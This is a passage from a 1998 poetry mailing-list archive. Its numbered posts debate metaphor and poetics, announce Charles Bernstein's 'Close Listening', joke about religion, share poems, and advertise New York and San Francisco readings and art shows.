> *According to studies by Deborah Tannen, author of _He Said, She Said_ , women and men learn strikingly different modes of discourse from an early age. Most boys learn to use conversation as a competitive activity, emphasizing their differences and individuality, establishing a hierarchy, which contributes to group cohesion, and within which each member is constantly striving for a higher position by challenging others and by showing his own knowledge to be "superior." Most girls learn to use conversation among friends as a cooperative activity. Anyone who criticizes within the group, or tries to show superior knowledge is setting herself apart from (above) the group, and is therefore seen as making an attempt to destabilize it. Differences of opinion are more often put forward as questions rather than statements. Or they're prefaced with phrases such as, "In my experience," implying respect for the speaker's opinion while maintaining one's own. Within the cooperative mode of discourse, a direct statement of "you're wrong" is, in effect, telling the speaker to shut up.*
>
> *So, when folks using the two different modes of discourse, the competitive and the cooperative, come together, the competitors tend to dominate because their direct challenges and criticisms are, within the rules of cooperative discourse, telling the cooperatives that their contributions are unacceptable. This affects discussions of poetics, because academic discourse generally utilizes the competitive mode. And, while young women are now more often trained to use the competitive mode with confidence, saying that women "should" do this is really saying that women should be more like men. Until both sides recoginize these different modes of discourse, respect them equally, and take them into account in their conversations together, women will often think that men are (verbally) attacking them, and men will think the women are wimping out.*
>
> *This is just a very brief, and probably inadequate, summary of some of the main points in Tannen's book, which I highly recommend to anyone interested in this subject.*
>
> *Bobbie West*

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603. **Charles Bernstein**

Close Listening: Poetry and the Performed Word (Announcement)

Tue 17 Mar 1998

Forthcoming in April

Close Listening

Poetry and the Performed Word

Edited by CHARLES BERNSTEIN

Close Listening and the Performed Word brings together seventeen essays, especially written for this volume, on the poetry reading, the sounds of poetry, and the visual performance of poetry. While the performance of poetry is as old as poetry itself, critical attention to modern and postmodern poetry performance has been negligible. This collection opens many new avenues for the critical discussion of the sound and performance of poetry, with special attention to innovative work. More important, the essays collected here offer wide-ranging elucidations of how twentieth-century poetry has been practiced as a performance art. The contributors cover topics that range from the performance styles of individual poets and types of poetry to the relation of sound to meaning, from historical and social approaches to poetry readings and to new imaginations of prosody. Such approaches are intended to encourage new forms of "close listenings"--not only to the printed text of poems, but also to tapes, performances, and other expressions of the sounded word. With readings and "spoken word" events gaining an increasing audience for poetry, Close Listening provides an indispensable critical groundwork for understanding the importance of language in--and as--performance.

368 pp., 22 linecuts, 6-1/8 x 9-1/4
$19.95w*, paper, 0-19-510992-9
$49.95w, cloth, 0-19-510991-0
April 1998

Close Listening (paper), ISBN 0195109929
Close Listening (cloth), ISBN 0195109910

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Susan Stewart, Letter on Sound
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604. **morpheal**
Re: spoonerisms anyone?
Tue 17 Mar 1998

> *isn't _Adorno's Ashes_ that delightful weepy book that the talk shows have been spoon feeding to the still-reading masses all this year?*

No idea. I reside in what is essentially a media blackout. Unless you consider the www a part of the media.

Actually the future of poetry might be that the poet must face the muse, not the audience, and read the poetry, while they remain riveted to their pews outside the railing that divides the stage from the public.

In what language ? I wonder if that really matters.

Of course the same thing happens when textual material is presented, not as live spoken word, or read from relatively immutable hard copy Guttenbergian

style printed text, but is a multi media presentation that synthesizes sound through the mediumship of the midi sonic wafer that resides in the sanctum of the cyber circuits.

Morpheal

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605. **morpheal**
Re: Not in the nomen cultura.....
Tue 17 Mar 1998

I shall only say this once, so anyone who misses it shall have to endure the bewilderment and unbearable angst that my use of a pseudonym causes them.

Oh, I should say, Morpheal is Bob Ezergailis, poet and visual artist, who resides in Hamilton, Ontario, Canada.

I keep signing things as Morpheal.

Bob Ezergailis

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606. **Mairead Byrne**
Re: political (un)conscious
Tue 17 Mar 1998

Is there such a thing as *progression* in metaphor, do you think? For example, such experiences as nursing a baby provide a wealth of metaphor in Shakespeare, though they are unlikely to be dealt with in themselves. Historically, do some subjects break into metaphor before direct treatment? At some point, does the metaphorical burden become overburdened, and spill out into the primary are of concern? Or is, in fact, metaphor the primary area of concern in poetry: the ostensible subject being merely a gloss or a net on the more fugitive and dynamic metaphor? These trucks, these metaphors, just who and what are they moving in/out?

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607. **morpheal**
Re: cruisingfiction : Geeze-US-az-po'et
Tue 17 Mar 1998

> *This is an interesting theory on Jesus (a new one I have not yet heard). Yet, what evidence is there that anybody thought Jesus a spy. If you go by the gospels (which seems to be the source of most of the facts in this email), Jesus claimed to be God in a Jewish context and this is what pissed everyone off, no one ever mentioned anything about being a spy.*

> *Why did Rome need a spy that hung out with "sinners" and outcasts? This theory does not make sense to me.*

Could be shadow leadership, same as Buddha. Makes perfect sense of all the elements of the story. Buddha was a Simon says who was not in direct line of immediate succession, but as an apparent outsider to the inner workings of secular power, people tended to trust and follow him. After all he had, as had Jesus, come down from high up there, to the commoners' level. Therefore he could influence the maintaining of the secular political order under the veil of a spirituality.

Jesus is somewhat the same, according to that theory.

Besides that, Jesus and Buddha used language in ways that were different from most other people of their time periods. Jesus appears poetic even if political.

I sense that some poets have had the same fate, even if in lesser ways, of a kind of imputed shadow leadership. Was Ginsberg, for instance, a shadow president to Nixon ? It would make for an interesting doctoral thesis.

Though poets also tend to get the opposite. They seem to be looked upon by the commoners' level as rising too far up out of it, and then they tend to have some want to pull them down again to a lower level than all the other commoners. Then truly only a lord can save them. Once that was the role of the nobility, and then of the patron. Perhaps that is because of the traditional mystification of the nature of language, and the use of language once viewed as almost wholly allied only to political and spiritual power. The poet then a kind of usurper of that cultural usage that concerns language as being properly thought of as the language of command. The commoner sometimes fearing, envious, mocking, and jealous, of the poet's potential prowess.

> *I'm new to this listserver . . . but what in the world does this have to do with poetics?!*

I was following a thread, but further divergence does seem a little out of place, unless discussing the nature of standards as to the true verse and the perverse, of twisted meaning and truth. Is Buddha truth or twisted ? Is Jesus truth or twisted ? Is the bible truth or twisted ? Is the poet, whomever the poet is, truth or twisted ? Is poetry the twist itself, or the antithesis of the twist and the twistings twisted political aggenda ? I think - the latter.

There is also the idea that scripture is the only true and acceptable verse and all poetics is an abomination. No longer a common standpoint nowadays, thank the muses. Nevertheless, I assure you that that is not a standpoint that post-modern poets are wholly immune from suffering through. Been there, done that....virtually....(pun intended). Also the burdens of prophecy, and poetics as a kind of prophetic and therefore systemically hated action. The poet as prophet

is also a been there, done that kind of thing, and equally I believe meant to urge poets to abandon the art and become more Puritanical and proper as to someone else's idea of what spirituality ought to be. The poet urged to give up the craft of poetry, by means of an increase in hardships is I think a persistent theme, even in the current as opposed to historical contextual situatedness. It all becomes very complicated.

Poetry as shadow leadership ? No further comment. Some people do tend to follow the strangest things, at the strangest times. Nevertheless, I do attempt precision as to intentional meaning, as well as concentrating on authenticity when I myself write, and I write almost every day. Poet as wise ? I would make no claims as to wisdom. That brings other kinds of contentions concerning poet a as traditional fool, spiritaul harlequin, and court jester.

So the subjects are all loosely connected. Another pun imbedded in that.

Perhaps best to spin the weathervane of poetical discussion back towards its more mainstreamed direction.... <chuckle>

We had better return from this diversion to one of the other channels.

Bob Ezergailis

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608. **morpheal**

Re: cruisingfiction

Tue 17 Mar 1998

> *That was a very bizarre, arm-waving exercise (if not just unforgettable).*

Caesar will use everything, including messiahs, and poets, was the gist of it. I think it is equally applicable to the generic instance as well as specifics.

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609. **CharSSmith**

Re: Close Listening: Poetry and the Performed Word (Announcement)

Tue 17 Mar 1998

I was looking through an advance copy of this in Moe's last week (does anyone *really* buy those spiral-bound prrofs?) & it looks just great! Can't wait. Much to lend an ear to.

Charles Smith

In a message dated 98-03-17 19:05:45 EST, you write:

<< Forthcoming in April

Close Listening

Poetry and the Performed Word

Edited by CHARLES BERNSTEIN

Close Listening and the Performed Word brings together seventeen essays, especially written for this volume, on the poetry reading, the sounds of poetry, and the visual performance of poetry. While the performance of poetry is as old as poetry itself, critical attention to modern and postmodern poetry performance has been negligible. This collection opens many new avenues for the critical discussion of the sound and performance of poetry, with special attention to innovative work. More important, the essays collected here offer wide-ranging elucidations of how twentieth-century poetry has been practiced as a performance art. The contributors cover topics that range from the performance styles of individual poets and types of poetry to the relation of sound to meaning, from historical and social approaches to poetry readings and to new imaginations of prosody. Such approaches are intended to encourage new forms of "close listenings"--not only to the printed text of poems, but also to tapes, performances, and other expressions of the sounded word. With readings and "spoken word" events gaining an increasing audience for poetry, Close Listening provides an indispensable critical groundwork for understanding the importance of language in--and as--performance.

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610. **William Burmeister Prod**

Re: cruisingfiction

Tue 17 Mar 1998

On Mar 17, 8:15pm, morpheal wrote:
> Subject: Re: cruisingfiction
> >That was a very bizarre, arm-waving exercise (if not just unforgettable).
>
> Caesar will use everything, including messiahs, and poets, was the gist of

it.
> I think it is equally applicable to the generic instance as well as specifics.
>-- End of excerpt from morpheal

What is "cruisingfiction" Are we talking Kerouac here?

While I would agree that the Caesars of this world will use whatever means to achieve their ends (re: Mark Prejsnar's post today in which the CIA spooks provoked strikes thus bringing about a desired end), this has nothing to do with the famous words of Jesus from the gospels. It is a whole lot more obvious than all that -- the implied ownership of the thing with the owners face imprinted on it (Caesar), which has always been the case with currency: it always returns to its owner (is expected to). Of course, there is also a more spiritual idea there -- that of association with an unseen kingdom espoused by Jesus rather than the seen. Kinda gives a new perspective on having to pay taxes there. It is at once a subtle and obvious answer to a loaded question and can't be considered complete in its meaning without the other part, "and render unto God what is his."

William Burmeister

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611. **William Burmeister Prod**
Live at Club Soy Bomb
Tue 17 Mar 1998

Everyone have a great St.Patricks day! Get thee to thy CD players and have another round of Roaratorio and a fifth of O'Shamelessly's Irish creme.

William O'Burmeister

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612. **michael corbin**
Re: Close Listening: Poetry and the Performed Word (Announcement)
Tue 17 Mar 1998

Charles Bernstein wrote:
>
> Forthcoming

> *Word*
>
> *Edited*
>
> *Close Listening brings essays,*

> *especially written,*
>
> *poetry,*
> *as poetry itself,*
>
> *postmodern poetry performance has been negligible.*
> *many new avenues*
>
> *of poetry, with special*
> *essays*
> *as a performance art.*
>
> *The*
> *contributors cover*
> *individual*
> *from historical and social*
> *imaginations of prosody.*
>
> *With readings and "spoken word"*
> *poetry,*
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> *Afterword*
> *Ventriloquism Poetry Reading*

I was wondering about this metapoetry. Essays.

I was trying to read the Benetton ad backwards
as it was reflected in the bus window glass
on the way to work.

But i couldn't. the billboard performance
was a double exposure at the stop-light
performance.

OUP didn't have the virtual reality CD
that I could play in my Sony.

So I listened close.

mc

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613. **Mark Weiss**
(no subject)
Tue 17 Mar 1998

Joel Kuszai: if you're out there backchannel me your email and snailmail addresses (sorry, I lost them).
I'll also gratefully accept this info from anyone else who cares to answer.

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614. **George Bowering**
Re: Not in the nomen cultura.....
Wed 18 Mar 1998

.
>
>Bob Ezergailis

This sounds like a pseudonym to me. It is, isnt it?

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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615. **Kasey Silem Mohammad Hicks**
Re: political (un)conscious
Wed 18 Mar 1998

> *I am very interested in the way that "we" attach ideological value to formal elements--tropes, poetic forms and meters (or absence of) etc...*
>
> *I would contend that these attributions of value are themselves metaphorical at bottom. Parataxis is good because it isn't hierarchical as hypotaxis, would be one example. I have had long arguments with people about whether "open" form has anything to do with "openness."*

> *This is what I meant when I asked the question: "must we allegorize our tropes?" That is, how much ideological baggage can the formal structure of (poetic) language bear? I am wary of arguments that attribute value (negative or positive) to form; yet isn't this what "poetics" itself consists of? Help me, please!*

Don't worry, I'll save you! I think you hit on it yourself at the end of your post: "poetics" consists of the mapping of value (aesthetic, ideological, emotional, etc.) onto form (e.g., attributing "openness" to "free verse," or selecting the pantoum structure to convey ennui). Now, of course this is arbitrary and irrational, but that's how conventions get started. And convention lies at the root of poetic expression, even the most radical langpo improv.

There is a complex but finite set of possible psychological responses to any linguistic structure: the range of that set is wider or narrower depending on the directness and familiarity of the conventions involved, and when the structure in question is deliberately antagonistic to or evasive of given conventions, this resistance generally produces a more complex but still determined set of possible responses, which incorporates the fact of resistance into its gradations of intelligibility. Thus a poem, for instance, in which "normal" relations of reference, syntax, logic, etc., are subverted, produces a familiar (within the context of langpo culture) recognition of certain stances--ironic, disaffected, anti-lyrical, and so forth. That recognition in turn comes to be associated (through a metonymic process) with the "forms" of langpo in general. An example might be the instant flush of tonal awareness one experiences upon seeing a line that looks like this

nuptially (first. has toboggan(

at once alerts the reader to several conventions: 1) the convention of areferentiality, of words communicating through their "random" selection the meaning of the impossibility of the communication of meaning; 2) the convention of asyntacticality, of words marshalled carefully into an order that signifies the lack of order; 3) the convention of faux punctuation; 4) the convention of the withholding of closure, and so on. All these conventions together elicit a judgment. This judgment may be one of approval, disapproval, or neutrality, but it is always a judgment of value, involving as it does the automatic identification (and placing-into-perspective-with-one's-own-alignment) of ideological positions.

Metaphor has no qualitative essence of its "own," because there is no such thing as metaphor-as-such; metaphor is always a metaphor _of_ something. Within the familiar "genres" of metaphor (epic simile, allegory, blazon, etc.), there are obvious and utterly conventional responses grounded in the awareness of those associations. More complex responses occur when these associations are breached: when an epic simile, for example, is used to describe a bake

sale, or when one refers to "the great inflatable tomahawk that is Rhode Island." Metaphor, that is, takes on value to the extent that it departs from conventionality, so that all figural assignment of value militates toward a veering into catachresis. I know there is some disagreement about this, but I do think that it is the "abuse" of metaphor rather than "metaphor itself" that generates the mapping of value in question. It is only when familiar forms are transmutated or deformed that we start to feel some way about them.

I could go on about how our association of certain forms with "love," "nationalistic fervor," "goofiness," etc., arises not merely from arbitrary conventions but from a tension between the passive recognition of those conventions and the reactive anxiety that results from transgressions thereof, but I am getting very sleeeeeeeepy

Clunk.

Whrrrrrrrrr...

↑ Index

616. **Gary Sullivan**

Belgum's Driver 23 at Underground Film Festival

Wed 18 Mar 1998

For those in the NYC area: Rolf Belgum, brother of innovative fictioneer Erik Belgum (whose _Star Fiction_ Detour Press published in 1996), will be screening his documentary "Driver 23" at the New York Underground Film Festival this coming Saturday at Anthology Film Archives, 4:15 p.m.

This is the most hilarious low-budget film I've seen since George Kuchar's "Corruption of the Damned." Rather than blather on about it myself, I'll attach a "spotlight" piece on Belgum that appeared in last week's _City Pages_ (Minneapolis). Hope to see you all there! --Gary

TAPPING INTO METAL

by James Diers

Passion Play: Rocker Dan Cleveland has
"an overwhelming personality" in the
local rock-doc parody Driver 23.

Truth may not always be stranger than fiction, but it's a hell of a lot cheaper. Just ask Rolf Belgum, the Minneapolis filmmaker whose latest feature-length documentary, Driver 23, was shot on a budget of $700.

"I'm amazed at what passes for 'low-budget indie films' these days," says Belgum. "At some of these [indie film] festivals, you'll be going up against million-dollar films that are somehow still considered 'underground.'"

In the spirit of the most earnest DIY director, Belgum spent a year and a half--sans crew and equipment, just a handheld video camera--getting inside the mind of Dan Cleveland, a Minneapolitan courier/rocker whose raw exploits are an uncanny, real-life mutation of Rob Reiner's This Is Spinal Tap. From basement rehearsals with his Ryan's-ready metal band, Dark Horse, to quiet reflections in the bathtub (a la Tap's Mick Shrimpton), the film digs into Cleveland's true rock & roll story with Cassavetes-esque candor. Not only are the results strangely spellbinding, they're often hysterical. Interviews with Cleveland's on-again/off-again bandmates read like the sharpest of parody--e.g., "Dan's got a sweet voice...when he stays in his range"--except that they're real.

"A lot of people think it's made-up or scripted because Dan's delivery is so tight," says Belgum. "But it's all real. He feels that comfortable in front of a camera." Indeed, with the aid of assorted anti-depressants, Cleveland is an organic deadpan delight whose passion for amateur physics is matched only by his penchant for goateed power chords and self-analysis. As Belgum puts it, "He is his own favorite subject."

Though local screenings have been few and far between, Driver 23 (formerly known as Frontman) seems to have already infiltrated elite rock circles in the Pacific Northwest. A couple of members of the stalwart Seattle band The Walkabouts, former Twin Cities residents themselves, got hold of a video copy last year. They reportedly took to sharing the tape with various friends who came to visit their recording studio, including members of grunge-band survivors Pearl Jam and Alice in Chains. Charmed by the film's priceless verite banter, even Eddie Vedder's pals are apparently stunned to learn that Cleveland's not putting on an act. Can a cult following of Spinal proportions be far behind?

To his credit, Belgum opted not to directly engage any broader agendas in the film, even though elements like Cleveland's interracial marriage or the anatomy of the local rock scene provided ample opportunity. "Had I wanted to apply for grant money to fund my movie, that would've been the way to go," he quips. "But Dan's personality is so overwhelming, there's hardly any room for anything else." . . .

↑ Index

617. Gary Sullivan
Fatimah Tuggar @ Tilton Gallery & New Museum
Wed 18 Mar 1998

Another Friends-of-the-Poet Plug(TM):

New collage and installation work by Nigerian visual artist, Fatimah Tuggar, can be seen in two current shows in New York: "Keeping up with the Joneses" (New Museum) and "Esperanto 98" (Jack Tilton Gallery). Tuggar, who is

currently homeless, creates (among other things) stunning collages, somewhat reminiscent of those of Jess Collins, combining peopled photographs taken mostly in northern Nigeria with images clipped from First world magazines. Often humorous, always provocative & disturbing, Tuggar's work can be seen on the web for those of you not in the NYC area:

http://www.plexus.org//tuggar/

For those here in NYC, check her work out "live":

Keeping up with the Joneses
March 19 - April 12, 1998
The New Museum of Contemporary Art
583 Broadway (btwn Houston & Prince)

Esperanto '98
curated by Christian Haye.
Tuesday, March 10, 1998 - Saturday, April 11, 1998
Jack Tilton Gallery
49 Greene Street (btwn Spring & Broome)

Hope to see you there! --Gary

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618. **dbkk**
Heller/objectivists/SPT
Wed 18 Mar 1998

Small Press Traffic presents

Friday, March 20, 7:30 p.m.

Utopocalyptic Moments: Objectivist Poetics
Michael Heller

Heller tells us that ³Utopocalyptic² is his ³made-up name for a sense of uncertainty, for that odd socio-political or cultural product, both fever and exacerbation, in which an individual is torn between idealized hopes and gnawing dread. My discussion focuses on the poetics of Zukofsky, Oppen and other poets as utopocalyptic responses to the socio-political and aesthetic pressures of the Thirties.² Michael Heller is a full time faculty member at New York University. He is the author of _Conviction¹s Net of Branches: Essays on the Objectivist Poets and Poetry_ (Southern Illinois University Press, 1985) and the editor of _Carl Rakosi: Man and Poet_ (National Poetry Foundation, 1985). As a poet, he is the author of six fine books including the most recent, _Wordflow: New and Selected Poems_ (Talisman House, 1997).

New College Theater
777 Valencia Street
Free (thanks to the California Council for the Humanities)

↑ Index

619. **Maz881**
opposite
Wed 18 Mar 1998

---

in an interesting post about the cia, mark P wrote:

"anti-racist guys"

is this the "only" opposite of the word racist?

like for fascist couldn't you say anarchist or communist or democracy believer in?

for sexist, what?

interested in these big words lately.

Bill Luoma

↑ Index

620. **Safdie Joseph**
Re: The Metaphor Express
Wed 18 Mar 1998

Not TOO many professorial comments about metaphor and metonomy today -- (and by the way, Tom M. [bereted, goateed, huddled over in the corner of that coffee house with Clement Greenberg snapping his fingers to Monk] I think we can safely assume that Henry Gould is PROBABLY well-informed about the major developments of art in the 20th century, and was objecting more to a certain academese that's haunted this thread rather than the word "abstract") -- so it may be time for me to opine that Linda Russo's now somewhat plaintive question that began this thread, and also Nada's recent question, namely "is there anything that we understand in and by itself and without the aid of analogy?" seem to have gotten very short shrift.

Chris Stroffolino, back-cover boy (nice poem, though!), wrote a few days back that he was suspicious of the "anti-metaphorical tendency" -- but wasn't such a tendency a main project of the Black Mountain folks, to get away from what Olson called the suck of symbol, from the universe of discourse, from what he called, in the Letter to Elaine Feinstein, the "classical-representational" as opposed to the "primitive abstract"? And let's not forget "I", who keeps asking the Gunslinger in Book One what a certain event was LIKE. "Like, boy? What's that

mean? Were you HERE or not?" I think these and other works were positing ATTENTION and PERCEPTION as more valuable qualities than linguistic INVENTION and ORNAMENT: "Be here now and then."

I of course can't argue with the folks who claim that ALL our language is metaphorical (though mainly unconscious dead metaphors) -- nor with my old teacher Norman O. Brown, who ended _Love's Body_ with the prescient remark "All is metaphor: there is only poetry" -- but one indication of really BAD poetry is surely the overuse of such devices? Here's a poem called

YOU WANT MORE

Here are three cancer spots:
Skin.
Stomach.
Bone.
You can take your pick, but everyone
Wants skin.
Once in Houston, Texas,
I saw a car full of sparrows.
They looked like nothing else.
Of your friends:
How many take pills to sleep?
How many drink themselves to sleep?
How many would take for themselves your illness?
My friend,
Last night I walked outside
And watched the stars do nothing at all unusual.
Ask anyone:
Describe the stars.
That's exactly how they looked.
And even
If I dressed them up as children,
Gave them wagons, cakes, and birthday boots,
Then broke their fingers one by one until they said
It's only you they shine for,
I know what you'd want:
You'd want more.

(by Jim Krusoe) There's lots I still like about this 22-year-old poem, but one of them is the implied anti-metaphorical (thus, pro "world-as-it-is") stance -- I'm sure that's not a properly mediated statement, Joe Amato, but I've always valued work (like Bob Grenier's "Curriculum of the Soul" piece "Attention") that moves us IN rather than AROUND, AWAY . . . .

How WAS "Adorno's Ashes?" I didn't know he was Irish!

↑ Index

621. **Henry Gould**
Re: cruisingfiction
Wed 18 Mar 1998

On Tue, 17 Mar 1998 09:32:10 -0600 Tom Mandel said:
>
>Inasmuch as the material basis of Xtianity equals the Roman Empire rips off
>Jew-ideas and blends w/ Roman religion (virgin births, human god, etc.),
>perhaps Henry would consent to view the Rabbis' laughter (if that is what
>it was: horror was more what I had in mind) in the light of gallows humor?
>Esp. inasmuch (further) as it was *Jew* Jesus who was crucified -- along
>with a number of other Pharisaic rabbis (Jesus was a pharisee, btw) w/ bold
>ideas whose flesh was sanctified in that manner or (more often) by being
>burned alive. Do I think it quite the *joke* that this same empire should
>recast itself as world religion on that back, yup uh huh in a rather chilly
>sense you bet I do and sorry if I offend -- either you or another other.
>Stoke those fires....

It's interesting we're putting on the gloves while the Pope is making his play for reconciliation (cards close to the chest, gloves on). I always thought "I" was the Pope (metapharisaically speaking).

Not only was Jesus a Jew (NEWSFLASH), but so were Peter and Paul. Speaking of P's, did you know that Poe's Pym hits dead center (numerically speaking) when ship Grampus arrives at Peter & Paul rocks in mid-Atlantic? What does that mean? It means that Jesus was from outer space, obviously.

Jesus MAY have been a Pharisee - but remember, G-d (or was it Pnin?) showed Moses only his BACKSIDE. EP, EP (Ez & Eddie) had to drop the p's to pee pee, remember. (Eli & Eli - same biz) (whiz within whiz!)

- beglovedly yours, St. Henry (de Petersburg)

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622. **Henry Gould**
handedness
Wed 18 Mar 1998

I found this in a poem called One Square Mile:

19

Pitching righthand by a pillar he stood.
He was lefthanded, he was black, but they needed him.
A nominal phenomenal singularity, they said;
he dove down from the dome, filled to the brim

with MAYDAY, MAYDAY rings in his ears, feathers,
bronze pedestals for sandals; and the square choir (tested
for touching wakes and funerals) suddenly mothers
a circle of fire-eaters! And they sprang up - completely FESTA'd!

- Henry gould

↑ Index

623. louis stroffolino
Re: The Metaphor Express
Wed 18 Mar 1998

This question occured to me, before I got mr. safdie's comments, so i will ask it first: When people speak of "metaphor," they often say "metaphor for" (I do it too), but isn't saying "metaphor for", strictly speaking, an improper use of the term? Not that I'm suggesting that we, as poets, necessarily should be "strictly speaking", but some synchronization of terms might be helpful.....

Now, if metaphor, or a metaphor cannot be "translated", or is, in some way, "irreducible", wouldn't such a metaphor qualify as "anything that we understand in and of itself without the aid of analogy" (Nada, or Safdie quoting Nada), or some kind of "primitive abstract"? When confronted with metaphor read as thus one need not respond as Dorn's "I" (What's that mean? What's that LIKE? etc). Or, if one does one is not going to come any closer to the "meaning". I think the distinction between seeing a metaphor as a metaphor and seeing it as a metaphor "for" something is the crucial distinction here. When one says "X is a metaphor for Y," one is really speaking of analogy, not metaphor. all (is a metaphor) for now, chris

↑ Index

624. Marcella Durand
Mark Nowak's address
Wed 18 Mar 1998

If anyone (or Mark Nowak) has his snail-mail address, could they please e-mail it to me at the Poetry Project: [redacted]?

Thanks much,
Marcella

↑ Index

625. **groberts**
a metaphor
Thu 19 Mar 1998

"Ah, Critic,
more and more
you club the life
out of this dead
topic.
What for?
Put down your stick,
Professor,
use knife
and for
k [sic]
instead."

↑ Index

626. **dbkk**
Nepotistic plug
Thu 19 Mar 1998

Nepotistic plug from Kevin Killian to all New Yorkers . . . I hope you find the time to see "Surface Transit: sketches of ordinary people" at the Nuyorican Poets Cafe (236 East Third Street between B and C) on March 19, 20, 21 at 7:30.... It is the one woman show of my cousin, Sarah Jones, "winner of the 1997 Grand Slam"

Different styles, same genetic code!!!

For reservations call [redacted]

I won't be there but please tell me how you like it

Thanks everyone--- Kevin K.

↑ Index

627. **Henry Gould**
warts of religion
Thu 19 Mar 1998

This is my final post on this tetchy non-poetics topic, and I will be brief. After what Europe & the Church did to the Jews - and does to this day in the scenario of some parts of the gospels - no one is in a position to scold them for being alienated or antagonistic toward organized Christianity.

The project of Peter & Paul was, in a sense, to make Jews of all mankind, and so far you have to admit they have been successful in a number of ways. Unsuccessful in others.

I guess I would agree with what maybe J. Joyce would think: if God is a Person, she must be the God of Here-Comes-Everybody. Her name, by the way, is Beatrice, and she lives in Sioux Falls, North Dakota - where she runs a movie house and is an active member of the Church of the Frisbee- Tossin' Jesus.

- Henry Gould

↑ Index

628. **Burt Kimmelman**
Re: Heller/objectivists/SPT
Thu 19 Mar 1998

---

anyone know if the new collection of essays on the Objectivists has come out yet and if so how to get a copy?

burt kimmelman
[redacted]

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629. **morpheal**
Re: warts of religion
Thu 19 Mar 1998

> *I guess I would agree with what maybe J. Joyce would think: if God is a Person, she must be the God of Here-Comes-Everybody. Her name, by the way, is Beatrice, and she lives in Sioux Falls, North Dakota - where she runs a movie house and is an active member of the Church of the Frisbee-Tossin' Jesus.>- Henry Gould*

Almost poetic....

Except I have heard of her, several times, under several different names, but the movie theatre is always running the same boring porno flicks....

Morpheal

↑ Index

630. **MAYHEW**
Non-academic definitions of tropes
Thu 19 Mar 1998

Beware of crossing swords with Chiasmus
or crossing Chiasmus with a sword.

Don't lose connection with Asyndeton.

Mr. Litotis is a not uncharming Englishman.

Simile is like a bad haircut;
Allegory is a wearisome journey,

A Tautology is just a Tautology
but Paradox makes black ink bright.

etc...

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

↑ Index

631. Tom Mandel
render into scissors
Thu 19 Mar 1998

The "render unto Caesar" debate occurred within the pharisaic movement; you can find all sides of the debate represented as artefacts and consciously in lots of early midrashic texts and in the Mishnah. Even Jesus's parabolic way of representing the issue -- whose face is on the coin? -- occurs in that literature I believe (but it would take a scholar to come up with a citation).

Those were revolutionary times, and the debate was not about meekness, personal ethics, living in or apart from the political, but rather about what attitude a Jew ought to have (and since these were rabbis, ought to preach) about the Romans. Were they bad because they enslaved our minds? Were they good because they created roads and their law kept someone off us? Etc.

60 messiahs? someone said.

Remember, the idea of "messiah" had *nothing* (zero, zilch) to do with a divine being (and only metaphorically to do with the saving of souls) before the romanifying of Judaic ideas into Xtianity.

The vision was of what we would call a world revolution (gee I always wondered why the European left had so many Jews in it...). The messiah was to be a king (descendant of King David and therefore a rightful king) who would lead the movement to that order, in which swords would be beaten into plowshares and the whole world would view Jerusalem as its center.

T'were the Romans who had human gods, gods with sons (and daughters), humans impregnated by divine beings, etc (well... there is a reference to gods lying with women in Genesis, I believe, to create the race of "Giants"). And foisted on my mojo such notions as virgin birth.

Some of you may have noticed that "first will be last" didn't actually happen. Yet, the world religion built on that Jewish idea (oppressed/exiled idea -- it's not essentialistically Jewish as is obvious I hope) rules on. We live in Rome.

Tom

Tom Mandel | Screen Porch, LLC
[redacted] | http://screenporch.com
vox: [redacted] | fax: [redacted]
----------+----------
Join the Caucus Conversation

↑ Index

632. **Tom Mandel**
adorno's ashes
Thu 19 Mar 1998

Language being so much more interesting than ideas, the phrase "Adorenoashes" makes me think of Adonis -- the contemporary Arabic poet. I just ordered his "Intro to Arab Poetics" (hope that title is right) from Amazon. Anyone read it?

Tom

Tom Mandel | Screen Porch, LLC
[redacted] | http://screenporch.com
vox: [redacted] | fax: [redacted]
----------+----------
Join the Caucus Conversation

↑ Index

633. **Michael J. Kelleher**
Segue Reading
Thu 19 Mar 1998

Dan Machlin asked me to forward the following:

Kit Robinson

&

Erica Hunt

Tuesday, March 31

@

7:30 P.M. $5.00

@

Segue Performance Space
303 E. 8th St, 1R
(Betw. Aves B&C)

New York, NY

↑ Index

634. Henry Gould
I cain hep it
Thu 19 Mar 1998

Tom says we live in Rome. But according to Beatrice, we live in Sioux Falls.

Beatrice is God & Henry is her Prophet.

The Ark of the Covenant is a 4-dimensional Frisbee.

With Eagle Feathers.

Made of a special kind of clay.

Called Silly Putty.

- St. Henry de Petersburg

↑ Index

635. Joe Amato/Kass Fleisher
Re: The Metaphor Express
Thu 19 Mar 1998

---

i really didn't wanna touch the metaphor thread, as it seems to me that these distinctions are useful primarily to the extent you're willing to read (and write) such & such a way... i.e., "touching threads"... or, "with due regard for" somebody or other's instrumental definitions of same... lakoff may be a smart guy, but i find that the leap to cognition (if that's what it is---it surely is in the case of mark turner) that you end up with is probably a reduction, at least when you start talking specific metaphorical constructs (in specific poems) as opposed to process... i.e., i think metaphor/metonymy are really so sociocultural insofar as how we use such devices---when such devices are being put to use, as it were...

but joe s brings me out simply to say that i used the word "mediated" in my posts to gabe b/c i wanted to provoke/emphasize an awareness of media... and

b/c the notion of "unmediated visions" and such is a relatively easy one to come by... but "mediated" really is more metaphorical (!) than anything else... which is to say, perhaps a word like "constitutive" would have been more to the point?... a different metaphoricity at stake here? (my but don't i sound professorial!)... well that's not my point, anyway... mediated: as i "see" it, it's not that there's something "between" my understanding of a thing and the thing itself (dasein etc.)... it's that language, mind, culture, etc., constitutes perception of said thing... which for my money, is not *all* the thing is... nor is it *all* we may likely believe it to be... for "thing" substitute "person" or "self" or "god" and it all gets so---sticky?... in any case, i can't think, at this "point" in my life, w/o thinking *through*, or i think as joe indicates, *in*... to think *in* is still to constitute an object through thought ('mediated by thought'?)... metaphor in the most general sense, as in 'everything may be metaphorical,' indicated by my persistent use of "quotes"... well i can put the entire post in quotes, of course...

i can just imagine what the philosophers among you might say...

but hey, recall olson re the human universe, "we are ourselves both the instrument of discovery and the instrument of definition"... i think this is to the "point"... setting aside my metaphors here (like, as though i could!): whence actual knowledge, proprioceptive or otherwise, given such a "state of affairs"?... perhaps it's *like* the old---joke?

'a man's reach should exceed his grasp, or what's a metphor"?...

best,

j-o-e, aka joe

↑ Index

636. **Pierre Joris**
Re: adorno's ashes
Thu 19 Mar 1998

Tom Mandel wrote:

